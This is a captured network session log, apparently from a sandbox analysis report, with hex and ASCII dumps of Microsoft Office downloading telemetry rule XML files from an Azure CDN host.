2024-10-30 03:34:07 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6b 76 79 70 30 30 32 33 4c 6b 32 47 48 75 6b 76 66 79 66 72 52 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: kvyp0023Lk2GHukvfyfrRw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:14 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:13 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033413Z-16849878b78qfbkc5yywmsbg0c000000072g00000000mh3y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:14 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-30 03:34:14 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-30 03:34:14 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-30 03:34:14 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-30 03:34:14 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-30 03:34:14 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-30 03:34:14 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-30 03:34:14 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-30 03:34:14 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-30 03:34:14 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:15 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:15 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:15 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033415Z-16849878b78j5kdg3dndgqw0vg000000094000000000kcgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:15 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:15 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:15 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:15 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033415Z-16849878b78qf2gleqhwczd21s00000007p000000000bqw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:15 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:15 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:15 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:15 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033415Z-16849878b786lft2mu9uftf3y400000008sg000000006vzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:15 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:15 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:15 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:15 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033415Z-16849878b78qg9mlz11wgn0wcc0000000750000000000ndd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:15 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:15 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:15 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:15 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033415Z-16849878b785jrf8dn0d2rczaw00000008hg00000000q2cq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:15 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49717	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:15 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 31 67 76 39 5a 46 56 4f 48 30 36 39 54 73 44 63 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 30 31 36 32 65 33 36 37 32 65 38 37 65 36 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 1gv9ZFVOH069TsDc.1Context: 30162e3672e87e68
